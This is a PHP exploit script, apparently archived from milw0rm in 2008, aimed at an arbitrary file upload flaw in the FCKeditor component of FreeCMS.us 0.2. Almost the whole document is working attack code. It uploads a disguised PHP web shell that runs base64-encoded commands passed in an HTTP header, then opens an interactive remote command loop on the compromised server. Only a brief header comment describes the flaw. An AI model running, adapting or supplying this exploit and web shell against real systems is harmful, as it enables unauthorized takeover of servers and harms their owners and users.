<?php
/*
--------------------------------------------------------------
FreeCMS.us 0.2 (fckeditor) Arbitrary File Upload Exploit
--------------------------------------------------------------
By : Stack
Special thnx for : Egix
[-] vulnerable code in /[path]/admin/fckeditor/editor/filemanager/upload/php/upload.php
with a default configuration of this script, an attacker might be able to upload arbitrary files containing malicious PHP code
*/
error_reporting(0);
set_time_limit(0);
ini_set("default_socket_timeout", 5);
function http_send($host, $packet)
{
$sock = fsockopen($host, 80);
while (!$sock)
{
print "\n[-] No response from {$host}:80 Trying again...";
$sock = fsockopen($host, 80);
}
fputs($sock, $packet);
while (!feof($sock)) $resp .= fread($sock, 1024);
fclose($sock);
return $resp;
}
print "\n+------------------------------------------------------------+";
print "\n|File Upload Exploit by Stack |";
print "\n+------------------------------------------------------------+\n";
if ($argc < 2)
{
print "\nUsage......: php $argv[0] host path";
print "\nExample....: php $argv[0] localhost /booking_calendar/\n";
die();
}
$host = $argv[1];
$path = $argv[2];
$data = "--12345\r\n";
$data .= "Content-Disposition: form-data; name=\"NewFile\"; filename=\"s.php.he.ll\"\r\n";
$data .= "Content-Type: application/octet-stream\r\n\r\n";
$data .= "<?php \${print(_code_)}.\${passthru(base64_decode(\$_SERVER[HTTP_CMD]))}.\${print(_code_)} ?>\n";
$data .= "--12345--\r\n";
$packet = "POST {$path}/fckeditor/editor/filemanager/upload/php/upload.php HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Content-Length: ".strlen($data)."\r\n";
$packet .= "Content-Type: multipart/form-data; boundary=12345\r\n";
$packet .= "Connection: close\r\n\r\n";
$packet .= $data;
preg_match("/OnUploadCompleted\((.*),\"(.*)\",\"(.*)\",/i", http_send($host, $packet), $html);
if (!in_array(intval($html[1]), array(0, 201))) die("\n[-] Upload failed! (Error {$html[1]})\n");
else print "\n[-] Shell uploaded to {$html[2]}...starting it!\n";
define(STDIN, fopen("php://stdin", "r"));
while(1)
{
print "\nstack-shell# ";
$cmd = trim(fgets(STDIN));
if ($cmd != "exit")
{
$packet = "GET {$path}datacenter/media/{$html[3]} HTTP/1.0\r\n";
$packet.= "Host: {$host}\r\n";
$packet.= "Cmd: ".base64_encode($cmd)."\r\n";
$packet.= "Connection: close\r\n\r\n";
$output = http_send($host, $packet);
if (eregi("print", $output) || !eregi("_code_", $output)) die("\n[-] Exploit failed...\n");
$shell = explode("_code_", $output);
print "\n{$shell[1]}";
}
else break;
}
?>
# milw0rm.com [2008-06-17]
